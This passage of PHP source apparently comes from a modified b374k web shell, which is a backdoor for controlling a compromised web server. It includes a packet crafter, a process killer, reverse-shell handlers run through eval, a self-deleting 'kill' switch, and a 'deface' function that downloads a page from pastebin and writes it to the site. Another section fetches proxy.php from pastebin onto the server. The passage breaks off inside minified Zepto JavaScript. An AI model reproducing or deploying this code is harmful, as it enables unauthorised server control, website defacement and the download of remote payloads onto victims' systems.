  2213. <tr><th colspan='2'><p class='boxtitle'>Simple Packet Crafter</p></th></tr>
  2214. </thead>
  2215. <tbody>
  2216. <tr><td style='width:120px'>Host</td><td><input type='text' id='packetHost' value='tcp://".$server_addr."' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2217. <tr><td>Start Port</td><td><input type='text' id='packetStartPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2218. <tr><td>End Port</td><td><input type='text' id='packetEndPort' value='80' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2219. <tr><td>Connection Timeout</td><td><input type='text' id='packetTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2220. <tr><td>Stream Timeout</td><td><input type='text' id='packetSTimeout' value='5' onkeydown=\"trap_enter(event, 'packet_go');\"></td></tr>
  2221. </tbody>
  2222. <tfoot>
  2223. <tr><td colspan='2'><textarea id='packetContent' style='height:140px;min-height:140px;'>GET / HTTP/1.1\\r\\n\\r\\n</textarea></td></tr>
  2224. <tr>
  2225. <td>
  2226. <span class='button' onclick=\"packet_go();\" style='width:120px;'>run</span>
  2227. </td>
  2228. <td>You can also press ctrl+enter to submit</td>
  2229. </tr>
  2230. <tr><td colspan='2'><div id='packetResult'></div></td></tr>
  2231. </tfoot>
  2232. </table>
  2233. ";
  2234.  
  2235.  
  2236. if(isset($p['rsLang']) && isset($p['rsArgs'])){
  2237. $rsLang = $p['rsLang'];
  2238. $rsArgs = $p['rsArgs'];
  2239. $res = "";
  2240.  
  2241. if($rsLang=="php"){
  2242. $code = get_resource("rs_".$rsLang);
  2243. if($code!==false){
  2244. $code = "\$target = \"".$rsArgs."\"; ?>".$code;
  2245. $res = eval_go($rsLang, $code, "", "");
  2246. }
  2247. }
  2248. else{
  2249. $code = get_resource("rs_".$rsLang);
  2250. if($code!==false){
  2251. $res = eval_go($rsLang, $code, "", $rsArgs);
  2252. }
  2253. }
  2254.  
  2255. if($res===false) $res == "error";
  2256. output(html_safe($res));
  2257. }
  2258. elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
  2259. $packetHost = trim($p['packetHost']);
  2260. if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;
  2261.  
  2262. $packetPort = (int) $p['packetPort'];
  2263.  
  2264. $packetTimeout = (int) $p['packetTimeout'];
  2265. $packetSTimeout = (int) $p['packetSTimeout'];
  2266.  
  2267. $packetContent = $p['packetContent'];
  2268. if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
  2269. else{
  2270. $packetContent = str_replace(array("\r","\n"), "", $packetContent);
  2271. $packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
  2272. }
  2273.  
  2274. $res = "";
  2275.  
  2276.  
  2277. $sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
  2278. if(!$sock){
  2279. $res .= "<div class='weak'>";
  2280. $res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")</div>";
  2281. }
  2282. else{
  2283. stream_set_timeout($sock, $packetSTimeout);
  2284. fwrite($sock, $packetContent."\r\n\r\n\x00");
  2285. $counter = 0;
  2286. $maxtry = 1;
  2287. $bin = "";
  2288. do{
  2289. $line = fgets($sock, 1024);
  2290. if(trim($line)=="") $counter++;
  2291. $bin .= $line;
  2292. }while($counter<$maxtry);
  2293. fclose($sock);
  2294. $res .= "<table class='boxtbl'><tr><td><textarea style='height:140px;min-height:140px;'>".html_safe($bin)."</textarea></td></tr>";
  2295. $res .= "<tr><td><textarea style='height:140px;min-height:140px;'>".bin2hex($bin)."</textarea></td></tr></table>";
  2296. }
  2297.  
  2298. output($res);
  2299. }
  2300.  
  2301. $GLOBALS['module']['processes']['id'] = "processes";
  2302. $GLOBALS['module']['processes']['title'] = "Processes";
  2303. $GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
  2304. $GLOBALS['module']['processes']['content'] = "";
  2305.  
  2306. if(!function_exists('show_processes')){
  2307. function show_processes(){
  2308. $output = '';
  2309. $wcount = 11;
  2310. if(is_win()){
  2311. $cmd = "tasklist /V /FO csv";
  2312. $wexplode = "\",\"";
  2313. }
  2314. else{
  2315. $cmd = "ps aux";
  2316. $wexplode = " ";
  2317. }
  2318.  
  2319. $res = execute($cmd);
  2320. if(trim($res)=='') return false;
  2321. else{
  2322. $output .= "<table id='psTable' class='dataView sortable'>";
  2323. if(!is_win()) $res = preg_replace('#\ +#',' ',$res);
  2324.  
  2325. $psarr = explode("\n",$res);
  2326. $fi = true;
  2327. $tblcount = 0;
  2328.  
  2329. $check = explode($wexplode,$psarr[0]);
  2330. $wcount = count($check);
  2331.  
  2332. foreach($psarr as $psa){
  2333. if(trim($psa)!=''){
  2334. if($fi){
  2335. $fi = false;
  2336. $psln = explode($wexplode, $psa, $wcount);
  2337. $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='sorttable_nosort'>action</th>";
  2338. foreach($psln as $p) $output .= "<th>".trim(trim(strtolower($p)) ,"\"")."</th>";
  2339. $output .= "</tr>";
  2340. }
  2341. else{
  2342. $psln = explode($wexplode, $psa, $wcount);
  2343. $pid = trim(trim($psln[1]),"\"");
  2344. $tblcount = 0;
  2345. $output .= "<tr data-pid='".$pid."'>";
  2346.  
  2347. foreach($psln as $p){
  2348. if(trim($p)=="") $p = " ";
  2349. $p = trim(trim($p) ,"\"");
  2350. $p = html_safe($p);
  2351. if($tblcount == 0){
  2352. $output .= "<td><div class='cBox'></div></td><td><a class='kill'>kill</a></td><td>".$p."</td>";
  2353. $tblcount++;
  2354. }
  2355. else{
  2356. $tblcount++;
  2357. if($tblcount == count($psln)) $output .= "<td style='text-align:left;'>".$p."</td>";
  2358. else $output .= "<td style='text-align:center;'>".$p."</td>";
  2359. }
  2360. }
  2361. $output .= "</tr>";
  2362. }
  2363. }
  2364. }
  2365. $colspan = count($psln)+1;
  2366. $colspanAll = $colspan+1;
  2367. $output .= "<tfoot><tr><td><div class='cBoxAll'></div></td><td colspan=".$colspan." style='text-align:left;'><span class='button' onclick='kill_selected();' style='margin-right:8px;'>kill selected</span><span class='button' onclick='show_processes();'>refresh</span><span class='psSelected'></span></td></tr></tfoot></table>";
  2368. }
  2369. return $output;
  2370. }
  2371. }
  2372.  
  2373.  
  2374. if(isset($p['showProcesses'])){
  2375. $processes = show_processes();
  2376. if($processes!==false) output($processes);
  2377. output('error');
  2378. }
  2379. elseif(isset($p['allPid'])){
  2380. $allPid = explode(" ", $p['allPid']);
  2381. $counter = 0;
  2382. foreach($allPid as $pid){
  2383. $pid = trim($pid);
  2384. if(!empty($pid)){
  2385. if(function_exists("posix_kill")){
  2386. if(posix_kill($pid,'9')) $counter++;
  2387. }
  2388. else{
  2389. if(is_win()){
  2390. $cmd = execute("taskkill /F /PID ".$pid);
  2391. $cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
  2392. if(strpos($cmd,"No tasks are running")!==false) $counter++;
  2393. }
  2394. else{
  2395. $cmd = execute("kill -9 ".$pid);
  2396. if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
  2397. $cmd = trim(execute("ps -p ".$pid));
  2398. $check = explode("\n", $cmd);
  2399. if(count($check)==1) $counter++;
  2400. }
  2401. }
  2402. }
  2403. }
  2404. }
  2405. if($counter>0) output($counter);
  2406. else output('error');
  2407. }
  2408.  
  2409. $error = @ob_get_contents();
  2410. $error_html = (!empty($error))?"<pre class='phpError border'>".str_replace("\n\n", "\n", html_safe($error))."</pre>":"";
  2411. @ob_end_clean();
  2412. error_reporting(0);
  2413. @ini_set('display_errors','0');
  2414.  
  2415.  
  2416. ?><!doctype html>
  2417. <html>
  2418. <head>
  2419. <title><?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?></title>
  2420. <meta charset='utf-8'>
  2421. <meta name='robots' content='noindex, nofollow, noarchive'>
  2422. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0">
  2423. <link rel='SHORTCUT ICON' href='<?php echo $GLOBALS['resources']['b374k'];?>'>
  2424. <style type="text/css">
  2425. @font-face {
  2426. font-family: 'ubuntumono';
  2427. font-style: normal;
  2428. font-weight: 400;
  2429. src: local('Iceland'), local('Iceland-Regular'), url(http://fonts.gstatic.com/s/iceland/v5/0t3IIKOg5Y3bymbv3QH8mA.woff2) format('woff2');
  2430. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2212, U+2215, U+E0FF, U+EFFD, U+F000;
  2431. }
  2432. *{
  2433. font-family:ubuntumono;
  2434. margin:0;
  2435. padding:0;
  2436. border:0;
  2437. -webkit-box-sizing:border-box;
  2438. -moz-box-sizing:border-box;
  2439. box-sizing:border-box;
  2440. font-size:14px;
  2441. font-weight:normal;
  2442. }
  2443. input:focus, select:focus, textarea:focus, button:focus{
  2444. outline:none;
  2445. }
  2446. html, body{
  2447. width:100%;
  2448. height:100%;
  2449. color:#999999;
  2450. }
  2451. body{
  2452. background:#111111;
  2453. }
  2454. a{
  2455. text-decoration:none;
  2456. color:#999999;
  2457. }
  2458. a:hover{
  2459. cursor:pointer;
  2460. }
  2461. p{
  2462. padding:8px 0;
  2463. }
  2464. img{
  2465. vertical-align:middle;
  2466. }
  2467. table{
  2468. width:100%;
  2469. }
  2470. table td, table th{
  2471. vertical-align:middle;
  2472. padding:8px;
  2473. }
  2474. textarea, input, select{
  2475. background:#222222;
  2476. padding:8px;
  2477. border-radius:8px;
  2478. color:#999999;
  2479. }
  2480. textarea{
  2481. resize:vertical;
  2482. width:100%;
  2483. height:300px;
  2484. min-height:300px;
  2485. max-width:100%;
  2486. min-width:100%;
  2487. }
  2488. hr{
  2489. margin:8px 0;
  2490. border-bottom:1px dashed #222222;
  2491. }
  2492. video{
  2493. width:50%;
  2494. background:#222222;
  2495. border-radius:8px;
  2496. }
  2497. h1, h2{
  2498. background:#222222;
  2499. border-radius:8px;
  2500. text-align:center;
  2501. padding:8px;
  2502. margin-bottom:8px;
  2503. }
  2504. pre, #viewFilecontent{
  2505. word-break:break-all;
  2506. word-wrap:break-word;
  2507. }
  2508. pre{
  2509. white-space:pre-wrap;
  2510. }
  2511. #b374k{
  2512. cursor:pointer;
  2513. }
  2514. #header{
  2515. width:100%;
  2516. position:fixed;
  2517. }
  2518. #headerNav{
  2519. padding:10px 8px 6px 8px;
  2520. background:#111111;
  2521. }
  2522. #headerNav img{
  2523. margin:0 4px;
  2524. }
  2525. #menu{
  2526. background:#3572B0;
  2527. height:26px;
  2528. }
  2529. #menu .menuitem{
  2530. padding:7px 12px 6px 12px;
  2531. float:left;
  2532. height:26px;
  2533. background:#3572B0;
  2534. color:#B1ADAB;
  2535. text-shadow:1px 1px 1px #333333;
  2536. cursor:pointer;
  2537. }
  2538. #menu .menuitem:hover, #menu .menuitemSelected{
  2539. background:#111111;
  2540. color:#999999;
  2541. border-radius:8px 8px 0 0;
  2542. }
  2543. #menu .menuitemSelected{
  2544. background:#111111;
  2545. }
  2546. #basicInfo{
  2547. width:100%;
  2548. padding:8px;
  2549. border-bottom:1px solid #222222;
  2550. }
  2551. #content{
  2552. width:100%;
  2553. height:100%;
  2554. padding:62px 4px 10px 4px;
  2555. }
  2556. #content .menucontent{
  2557. clear:both;
  2558. display:none;
  2559. padding:8px;
  2560. }
  2561. #overlay{
  2562. position:fixed;
  2563. top:0px;
  2564. left:0px;
  2565. width:100%;
  2566. height:100%;
  2567. display:none;
  2568. }
  2569. #loading{
  2570. width:64px;
  2571. height:64px;
  2572. background:#3572B0;
  2573. border-radius:32px 0 32px 0;
  2574. margin:auto;
  2575. vertical-align:middle;
  2576. box-shadow:0 0 16px #000;
  2577. }
  2578. #ulDragNDrop{
  2579. padding:32px 0;
  2580. text-align:center;
  2581. background:#222222;
  2582. border-radius:8px;
  2583. }
  2584. #form{
  2585. display:none;
  2586. }
  2587. .box{
  2588. min-width:50%;
  2589. border:1px solid #222222;
  2590. padding:8px 8px 0 8px;
  2591. border-radius:8px;
  2592. position:fixed;
  2593. background:#111111;
  2594. opacity:1;
  2595. box-shadow:1px 1px 25px #150f0f;
  2596. opacity:0.98;
  2597. }
  2598. .boxtitle{
  2599. background:#3572B0;
  2600. color:#B1ADAB;
  2601. border-radius:8px;
  2602. text-align:center;
  2603. cursor:pointer;
  2604. text-shadow:1px 1px 1px #333333;
  2605. }
  2606. .boxtitle a, .boxtitle a:hover{
  2607. color:#B1ADAB;
  2608. text-shadow:1px 1px 1px #333333;
  2609. }
  2610. .boxcontent{
  2611. padding:2px 0 2px 0;
  2612. }
  2613. .boxresult{
  2614. padding:4px 10px 6px 10px;
  2615. border-top:1px solid #222222;
  2616. margin-top:4px;
  2617. text-align:center;
  2618. }
  2619. .boxtbl{
  2620. border:1px solid #222222;
  2621. border-radius:8px;
  2622. padding-bottom:8px;
  2623. }
  2624. .boxtbl td{
  2625. vertical-align:middle;
  2626. padding:8px 15px;
  2627. border-bottom:1px dashed #222222;
  2628. }
  2629. .boxtbl input, .boxtbl select, .boxtbl .button{
  2630. width:100%;
  2631. }
  2632. .boxlabel{
  2633. text-align: center;
  2634. border-bottom:1px solid #222222;
  2635. padding-bottom:8px;
  2636. }
  2637. .boxclose{
  2638. background:#222222;
  2639. border-radius:3px;
  2640. margin-right:8px;
  2641. margin-top:-2px;
  2642. padding:2px 8px;
  2643. cursor:pointer;
  2644. }
  2645. .strong{
  2646. color:#3572B0;
  2647. }
  2648. .weak{
  2649. color:#666666;
  2650. }
  2651. .button{
  2652. min-width:120px;
  2653. width:120px;
  2654. margin:2px 0;
  2655. background:#222222;
  2656. color:#999999;
  2657. padding:8px;
  2658. border-radius:8px;
  2659. display:block;
  2660. text-align:center;
  2661. float:left;
  2662. cursor:pointer;
  2663. }
  2664. .button:hover, #ulDragNDrop:hover{
  2665. box-shadow:1px 1px 5px #150f0f;
  2666. background:#333333;
  2667. }
  2668. .floatLeft{
  2669. float:left;
  2670. }
  2671. .floatRight{
  2672. float:right;
  2673. }
  2674. .colFit{
  2675. width:1px;
  2676. white-space:nowrap;
  2677. }
  2678. .colSpan{
  2679. width:100%;
  2680. }
  2681. .border{
  2682. border:1px solid #222222;
  2683. border-radius:8px;
  2684. padding:8px;
  2685. }
  2686. .borderbottom{
  2687. border-bottom:1px dashed #222222;
  2688. }
  2689. .borderright{
  2690. border-right:1px dashed #222222;
  2691. }
  2692. .borderleft{
  2693. border-left:1px dashed #222222;
  2694. }
  2695. .hr td{
  2696. border-bottom:1px dashed #222222;
  2697. }
  2698. .cBox, .cBoxAll{
  2699. width:10px;
  2700. height:10px;
  2701. border:1px solid #3572B0;
  2702. border-radius:5px;
  2703. margin:auto;
  2704. float:left;
  2705. margin:2px 6px;
  2706. cursor:pointer;
  2707. }
  2708. .cBoxSelected{
  2709. background:#3572B0;
  2710. }
  2711. .action, .actionfolder, .actiondot{
  2712. cursor:pointer;
  2713. }
  2714. .phpError{
  2715. padding:8px;
  2716. margin:8px 0;
  2717. text-align:center;
  2718. }
  2719. .dataView td, .dataView th, #viewFile td{
  2720. vertical-align:top;
  2721. text-align:center;
  2722. border-bottom:1px dashed #222222;
  2723. }
  2724. .dataView th{
  2725. border-bottom:none;
  2726. }
  2727. .dataView tbody tr:hover{
  2728. background:#222222;
  2729. }
  2730. .dataView th{
  2731. background:#222222;
  2732. vertical-align:middle;
  2733. }
  2734. .dataView tfoot td{
  2735. vertical-align:middle;
  2736. }
  2737. .dataView .col-cbox{
  2738. width:20px;
  2739. }
  2740. .dataView .col-name, .dataView tr>td:nth-child(2){
  2741. text-align:left;
  2742. }
  2743. .dataView .col-size, .dataView tr>td:nth-child(3){
  2744. width:70px;
  2745. text-align:left;
  2746. }
  2747. .dataView .col-owner{
  2748. width:140px;
  2749. min-width:140px;
  2750. }
  2751. .dataView .col-perms{
  2752. width:80px;
  2753. }
  2754. .dataView .col-modified{
  2755. width:150px;
  2756. }
  2757. .sortable th{
  2758. cursor:pointer;
  2759. }
  2760. #viewFile td{
  2761. text-align:left;
  2762. }
  2763. #viewFilecontent{
  2764. padding:8px;
  2765. border:1px solid #222222;
  2766. border-radius:8px;
  2767. }
  2768. #terminalPrompt td{
  2769. padding:0;
  2770. }
  2771. #terminalInput{
  2772. background:none;
  2773. padding:0;
  2774. width:100%;
  2775. }
  2776. #evalAdditional{
  2777. display:none;
  2778. }
  2779. .hl_default{
  2780. color:#408494;
  2781. }
  2782. .hl_keyword{
  2783. color:#cccccc;
  2784. }
  2785. .hl_string{
  2786. color:#8EB9D1;
  2787. }
  2788. .hl_html{
  2789. color:#aaaaaa;
  2790. }
  2791. .hl_comment{
  2792. color:#FF7000;
  2793. }
  2794. #navigation{position:fixed;left:-16px;top:46%;}
  2795. #totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
  2796. #totop:hover,#tobottom:hover{opacity:0.80;}
  2797. #toggleBasicInfo{display:none;float:right;margin:0;}
  2798. #basicInfoSplitter{display:none;}
  2799. #tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
  2800. #showinfo{float:right;display:none;}
  2801. #logout{float:right;}
  2802. </style>
  2803. </head>
  2804. <body>
  2805. <!--wrapper start-->
  2806. <div id='wrapper'>
  2807. <?php
  2808. function deface() {
  2809. $def = file_get_contents('http://pastebin.com/raw/LrhTENRp');
  2810. file_put_contents('superninja.htm', $def);
  2811. }
  2812.  
  2813. if (isset($_GET['deface'])) {
  2814. deface();
  2815. }
  2816. function __destruct()
  2817. {
  2818. unlink(__FILE__);
  2819. }
  2820. if (isset($_GET['kill'])) {
  2821. __destruct();
  2822. }
  2823.  
  2824. function proxy_go(){
  2825. $surl = $_GET["url"];
  2826. }
  2827. if (isset($_GET['browse'])) {
  2828. proxy_go();
  2829. }
  2830. ?>
  2831.  
  2832. <!--header start-->
  2833. <div id='header'>
  2834. <!--header info start-->
  2835. <div id='headerNav'>
  2836. <a href="javascript:void(0)" onclick="location.href='?deface=true'"><img src='http://i.imgur.com/HsmvPjC.png' height='50' widht='50' align='left' alt="Deface website" title="Deface website" ></a>
  2837. <img src='http://bestanimations.com/Flags/Asia/philippines/philippines-flag-waving-animated-gif-9.gif' height='50' widht='50'>&nbsp;&nbsp;
  2838. <a href="javascript:void(0)" onclick="location.href='?kill=true'"><img src='http://i.imgur.com/YdudzpA.png' height='50' widht='50' align='right' alt="Delete shell" title="Delete shell" ></a><br>
  2839. <span><a alt="Home" title="Home" onclick="set_cookie('cwd', '');" href='<?php echo $_SERVER["PHP_SELF"]; ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver'] ?></a></span>
  2840. <img alt="View folder" title="View folder" onclick='viewfileorfolder();' id='b374k' src='<?php echo $GLOBALS['resources']['b374k'];?>' />&nbsp;<span id='nav'><?php echo $nav; ?></span>
  2841.  
  2842. <a class='boxclose' id='logout' title='log out'>x</a>
  2843. <a class='boxclose' id='showinfo' title='show info'>v</a>
  2844. </div>
  2845. <!--header info end-->
  2846.  
  2847. <!--menu start-->
  2848. <div id='menu'>
  2849. <?php
  2850. foreach($GLOBALS['module_to_load'] as $k){
  2851. echo "<a class='menuitem' id='menu".$GLOBALS['module'][$k]['id']."' href='#!".$GLOBALS['module'][$k]['id']."'>".$GLOBALS['module'][$k]['title']."</a>";
  2852.  
  2853. }
  2854. if ($k = "proxy") {
  2855. $def = file_get_contents('http://pastebin.com/raw/UbuLpkm0');
  2856. file_put_contents('proxy.php', $def);
  2857.  
  2858. }
  2859.  
  2860. ?>
  2861. <br>
  2862. </div>
  2863. <!--menu end-->
  2864.  
  2865. </div>
  2866. <!--header end-->
  2867.  
  2868. <!--content start-->
  2869. <div id='content'>
  2870. <!--server info start-->
  2871. <div id='basicInfo'>
  2872. <div id='toggleBasicInfo'></div>
  2873. <?php
  2874. echo $error_html;
  2875. foreach(get_server_info() as $k=>$v){
  2876. echo "<div>".$v."</div>";
  2877. }
  2878. ?>
  2879. </div>
  2880. <!--server info end-->
  2881.  
  2882. <?php
  2883. foreach($GLOBALS['module_to_load'] as $k){
  2884. $content = $GLOBALS['module'][$k]['content'];
  2885. echo "<div class='menucontent' id='".$GLOBALS['module'][$k]['id']."'>".$content."</div>";
  2886. }
  2887. ?>
  2888. </div>
  2889. <!--content end-->
  2890.  
  2891. </div>
  2892. <!--wrapper end-->
  2893. <div id='navigation'>
  2894. <div id='totop'></div>
  2895. <div id='tobottom'></div>
  2896. </div>
  2897. <table id="overlay"><tr><td><div id="loading" ondblclick='loading_stop();'></div></td></tr></table>
  2898. <form action='<?php echo get_self(); ?>' method='post' id='form' target='_blank'></form>
  2899. <!--script start-->
  2900. <script type='text/javascript'>
  2901. var targeturl = '<?php echo get_self(); ?>';
  2902. var module_to_load = '<?php echo implode(",", $GLOBALS['module_to_load']);?>';
  2903. var win = <?php echo (is_win())?'true':'false';?>;
  2904. var init_shell = true;
  2905. /* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */
  2906. var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\s)"+a+"(\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return 